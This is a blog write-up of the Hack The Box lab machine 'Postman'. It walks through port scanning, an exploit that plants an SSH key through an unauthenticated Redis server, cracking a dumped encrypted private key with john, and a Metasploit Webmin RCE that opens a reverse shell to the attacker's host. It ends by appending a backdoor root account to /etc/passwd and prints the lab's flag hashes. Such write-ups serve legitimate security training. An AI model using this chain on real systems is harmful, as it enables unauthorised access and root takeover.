Hello All, welcome to nav1n.com.

Here is my first post of this new blog. Let us start with a new active machine Postman. It is an easy level Linux based machine.

Let’s start.

As usual, add the IP of the machine 10.10.10.160 to /etc/hosts as postman.htb for easy enumeration.

Enumeration

To get started with I performed the namp scan. The result is below:

➜ nmap -A -Pn -p- postman.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-03 16:16 +03
Nmap scan report for postman.htb (10.10.10.160)
Host is up (0.14s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
6379/tcp  open  redis   Redis key-value store 4.0.9
10000/tcp open  http    MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=11/2%OT=22%CT=1%CU=31557%PV=Y%DS=2%DC=T%G=Y%TM=5DBE04A
OS:9%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN
OS:(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)
 
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
TRACEROUTE (using port 1025/tcp)
HOP RTT       ADDRESS
1   137.87 ms 10.10.14.1
2   137.98 ms postman.htb (10.10.10.160)
 
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 266.36 seconds

I found the SSH on port 22, a web server in port 80, a MiniServ 1.910 (Webmin httpd) in port 10000 and intrestingly Redis key store in the port 6379.

As usual, http://postman.htb didn’t reveal anything useful, so let’s move to another port 6379.

A quick Google search showed me a possible exploit written by Avinash at Github. https://github.com/Avinash-acid/Redis-Server-Exploit This exploit gives shell access on the target system if the Redis server is not configured properly and faced on the internet without any authentication.

However, this exploit can inject an RSA key to connect via SSH, with a valid user. After a while, a saw someone mentioned in the HTB forum that, there is an accessible route in / var / lib / redis. To get that route we need to modify the exploit code.

So, I replaced the following code the:

Exploit

cmd4 = cmd1 + ' config set  dir' + " /var/lib/"+username+"/.ssh/"

So, after updating the avove, I ran the python exploit immediately.

➜  postman python exploit.py 10.10.10.160 redis
	*******************************************************************
	* [+] [Exploit] Exploiting misconfigured REDIS SERVER*
	* [+] AVINASH KUMAR THAPA aka "-Acid"                                
	*******************************************************************


	 SSH Keys Need to be Generated
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): ./id_rsa
./id_rsa already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pub.
The key fingerprint is:
SHA256:37fOZRZogHexxxxxxxxxxxxxxxxxxxLJpnNrkJ0 acid_creative
The key's randomart image is:
+---[RSA 3072]----+

+----[SHA256]-----+
	 Keys Generated Successfully
OK
OK
OK
OK
OK
OK
	You'll get shell in sometime..Thanks for your patience
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Mon Nov  4 15:26:33 2019 from 10.10.14.32
redis@Postman:~$ 

Aaandd… we have the SSH access as user redis.

Post Exploit – Finding me the way in

Without wasting a moment, I started looking for hints and found the id_rsa.bak in the /opt directory.

redis@Postman:~$ cd /opt
redis@Postman:/opt$ ls
id_rsa.bak
redis@Postman:/opt$ cat id_rsa.bak
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C

JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX
cwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2
7GsTwsMvKzXkkfEZQaXK/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6
cdnCWhzkA/TwJpXG1WeOmMvtCZW1HCButYsNP6BDf78bQGmmlirqRmXfLB92JhT9
1u8JzHCJ1zZMG5vaUtvon0qgPx7xeIUO6LAFTozrN9MGWEqBEJ5zMVrrt3TGVkcv
EyvlWwks7R/gjxHyUwT+a5LCGGSjVD85LxYutgWxOUKbtWGBbU8yi7YsXlKCwwHP
UH7OfQz03VWy+K0aa8Qs+Eyw6X3wbWnue03ng/sLJnJ729zb3kuym8r+hU+9v6VY
Sj+QnjVTYjDfnT22jJBUHTV2yrKeAz6CXdFT+xIhxEAiv0m1ZkkyQkWpUiCzyuYK
t+MStwWtSt0VJ4U1Na2G3xGPjmrkmjwXvudKC0YN/OBoPPOTaBVD9i6fsoZ6pwnS
5Mi8BzrBhdO0wHaDcTYPc3B00CwqAV5MXmkAk2zKL0W2tdVYksKwxKCwGmWlpdke
P2JGlp9LWEerMfolbjTSOU5mDePfMQ3fwCO6MPBiqzrrFcPNJr7/McQECb5sf+O6
jKE3Jfn0UVE2QVdVK3oEL6DyaBf/W2d/3T7q10Ud7K+4Kd36gxMBf33Ea6+qx3Ge
SbJIhksw5TKhd505AiUH2Tn89qNGecVJEbjKeJ/vFZC5YIsQ+9sl89TmJHL74Y3i
l3YXDEsQjhZHxX5X/RU02D+AF07p3BSRjhD30cjj0uuWkKowpoo0Y0eblgmd7o2X
0VIWrskPK4I7IH5gbkrxVGb/9g/W2ua1C3Nncv3MNcf0nlI117BS/QwNtuTozG8p
S9k3li+rYr6f3ma/ULsUnKiZls8SpU+RsaosLGKZ6p2oIe8oRSmlOCsY0ICq7eRR
hkuzUuH9z/mBo2tQWh8qvToCSEjg8yNO9z8+LdoN1wQWMPaVwRBjIyxCPHFTJ3u+
Zxy0tIPwjCZvxUfYn/K4FVHavvA+b9lopnUCEAERpwIv8+tYofwGVpLVC0DrN58V
XTfB2X9sL1oB3hO4mJF0Z3yJ2KZEdYwHGuqNTFagN0gBcyNI2wsxZNzIK26vPrOD
b6Bc9UdiWCZqMKUx4aMTLhG5ROjgQGytWf/q7MGrO3cF25k1PEWNyZMqY4WYsZXi
WhQFHkFOINwVEOtHakZ/ToYaUQNtRT6pZyHgvjT0mTo0t3jUERsppj1pwbggCGmh
KTkmhK+MTaoy89Cg0Xw2J18Dm0o78p6UNrkSue1CsWjEfEIF3NAMEU2o+Ngq92Hm
npAFRetvwQ7xukk0rbb6mvF8gSqLQg7WpbZFytgS05TpPZPM0h8tRE8YRdJheWrQ
VcNyZH8OHYqES4g2UF62KpttqSwLiiF4utHq+/h5CQwsF+JRg88bnxh2z2BD6i5W
X+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw==
-----END RSA PRIVATE KEY-----
redis@Postman:/opt$ 

Now that I have the RSA Private Key, I need to crack it and find the possible password for the user Matt. Lets see if John can do the job for me,

I copied the key in to my Kali and covert it to hash using ssh2john.

ssh2john postman_rsa > postman_rsa.hash

And then I let john to crack the hash using rockyou.txt

➜  postman john --wordlist=/usr/share/wordlists/rockyou.txt postman_rsa.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
computer2008     (postman_rsa)
Warning: Only 2 candidates left, minimum 8 needed for performance.

I relaized that the cracked password “computer2008” is user Matt’s password.

So I tried to switch from user redis to Matt using su Matt command. The user Matt has the password, I used the same cracked password, well..well.well, we now logged-in as user Matt.

Grabbing User.txt

Without wasting a minute I grab the user.txt

redis@Postman:/$ su Matt
Password: 
Matt@Postman:/$
Matt@Postman:/$ cd 
Matt@Postman:~$ cat user.txt
517ad0ec2458ca97af8d93aac08a2f3c
Matt@Postman:~$

So, I found that the user Matt has access to the Webmin panel. So, I made a quick google search to find Webmin exploit. I actually found one, but someone suggested me that Metasploit has a working exploit built-in.

Rooting

So, I firedup Metasploit.

msf5 > use exploit/linux/http/webmin_packageup_rce
msf5 exploit(linux/http/webmin_packageup_rce) > show options
Module options (exploit/linux/http/webmin_packageup_rce):
   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       Webmin Password
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      10000            yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path for Webmin application
   USERNAME                    yes       Webmin Username
   VHOST                       no        HTTP server virtual host
 
Payload options (cmd/unix/reverse_perl):
 
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
 
 
Exploit target:
 
   Id  Name
   --  ----
   0   Webmin <= 1.910
 
 
msf5 exploit(linux/http/webmin_packageup_rce) > set rhosts 10.10.10.160
rhosts => 10.10.10.160
msf5 exploit(linux/http/webmin_packageup_rce) > set PASSWORD computer2008
PASSWORD => computer2008
msf5 exploit(linux/http/webmin_packageup_rce) > set username Matt
username => Matt
msf5 exploit(linux/http/webmin_packageup_rce) > set lhost 10.10.14.35
lhost => 10.10.14.35
msf5 exploit(linux/http/webmin_packageup_rce) > set ssl true
ssl => true
msf5 exploit(linux/http/webmin_packageup_rce) > run
 
[*] Started reverse TCP handler on 10.10.14.35:1234 
[+] Session cookie: e0b78f397f0d87fa9c07a25b995486e3
[*] Attempting to execute the payload...
[*] Command shell session 1 opened (10.10.14.35:1234 -> 10.10.10.160:40776) at 
 
id
uid=0(root) gid=0(root) groups=0(root)
echo "x4v1l0k:x4sRFbMkq2HHM:0:0:root:/root:/bin/bash" >> /etc/passwd

Grabbing the Root.txt

Matt@Postman:~$ su x4v1l0k
Password: 
root@Postman:/home/Matt# cd 
root@Postman:~# cat root.txt
a257741c5bed8be7778c6ed95686ddce
root@Postman:~#